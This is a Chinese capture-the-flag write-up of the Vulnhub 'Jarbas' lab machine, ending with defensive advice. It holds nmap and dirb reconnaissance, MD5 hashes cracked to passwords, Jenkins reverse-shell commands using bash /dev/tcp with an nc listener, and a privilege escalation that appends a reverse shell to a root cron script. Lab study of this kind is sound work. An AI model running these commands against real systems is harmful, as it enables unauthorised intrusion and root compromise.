jarbas靶场渗透笔记
字数 1381 2025-08-11 17:40:26
Jarbas靶场渗透教学文档
靶场概述
Jarbas是一个基于CentOS的Vulnhub靶机,包含多个漏洞点,适合练习信息收集、Web应用渗透、密码破解、权限提升等技能。
环境准备
- 靶机下载地址:https://www.vulnhub.com/entry/jarbas-1,232/
- 攻击机:Kali Linux
- 网络配置:NAT模式,确保攻击机和靶机在同一网段
渗透测试步骤
1. 信息收集
主机发现
nmap -sn 192.168.18.142/24
发现靶机IP为192.168.18.218,MAC地址为00:0C:29:1F:20:4E(VMware虚拟网卡)
端口扫描
nmap --min-rate 10000 192.168.18.218
发现开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
- 3306/tcp - MySQL
- 8080/tcp - HTTP-proxy
详细扫描
nmap -sT -sV -O -p22,80,3306,8080 192.168.18.218
服务版本信息:
- OpenSSH 7.4
- Apache httpd 2.4.6 (CentOS) PHP/5.4.16
- MariaDB (未授权访问)
- Jetty 9.4.z-SNAPSHOT
漏洞扫描
nmap --script=vuln -p22,80,3306,8080 192.168.18.218
发现:
- 80端口TRACE方法开启
- /icons/目录可列出
- 8080端口存在/robots.txt
2. Web应用渗透
80端口目录扫描
dirb http://192.168.18.218
发现:
- /cgi-bin/ (403)
- /index.html (200)
使用御剑扫描发现:
- /access.html (200)
访问access.html
发现三个账号和MD5哈希:
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98
密码破解
使用hash-identifier识别为MD5哈希,破解结果:
5978a63b4654c73c60fa24f836386d87:italia99
f463f63616cb3f1e81ce46b39f882fd5:vipsu
9b38e2b1e8b12f426b0d208a7ab6cb98:marianna
对应账号:
tiago:italia99
trindade:vipsu
eder:marianna
8080端口登录尝试
发现Jenkins服务,使用账号组合尝试登录:
- eder:vipsu 登录成功
3. 获取初始shell
通过Jenkins构建任务反弹shell
- 新建任务
- 在"构建后操作"中添加命令:
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
- 攻击机监听:
nc -lvvp 4444
- 点击构建获取shell
系统信息收集
uname -a
显示系统为:
Linux jarbas 3.10.0-693.21.1.el7.x86_64
4. 权限提升
检查定时任务
cat /etc/crontab
发现每5分钟以root身份执行的脚本:
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
查看脚本内容:
cat /etc/script/CleaningScript.sh
内容为:
#!/bin/bash
rm -rf /var/log/httpd/access_log.txt
通过定时任务提权
- 攻击机监听新端口:
nc -lvvp 4442
- 向定时任务脚本追加反弹shell命令:
echo '/bin/bash -i >& /dev/tcp/192.168.18.142/4442 0>&1' >> /etc/script/CleaningScript.sh
- 等待5分钟后获取root shell
验证root权限
sudo -l
显示root可以执行所有命令:
User root may run the following commands on jarbas:
(ALL) ALL
关键知识点总结
-
信息收集:全面的nmap扫描是渗透测试的基础,包括主机发现、端口扫描、服务识别和漏洞扫描。
-
密码破解:
- 使用hash-identifier识别哈希类型
- MD5哈希可通过在线破解或彩虹表破解
- 注意尝试用户名和密码的各种组合
-
Web应用渗透:
- 目录扫描发现敏感文件(access.html)
- 注意收集页面中的账号密码信息
- 尝试在不同服务中使用相同的凭证
-
权限提升:
- 检查/etc/crontab中的定时任务
- 查找可写的脚本文件
- 通过追加命令到高权限执行的脚本获取root权限
-
定时任务提权:
- 低权限用户通常不能直接修改crontab
- 但可以检查root执行的脚本是否有写权限
- 通过向这些脚本追加反弹shell命令实现提权
防御建议
- 禁用不必要的服务(如TRACE方法)
- 使用强密码策略,避免使用弱密码
- 对敏感文件设置适当权限
- 定期审计系统定时任务和脚本
- 限制root权限脚本的修改权限
- 及时更新系统和应用软件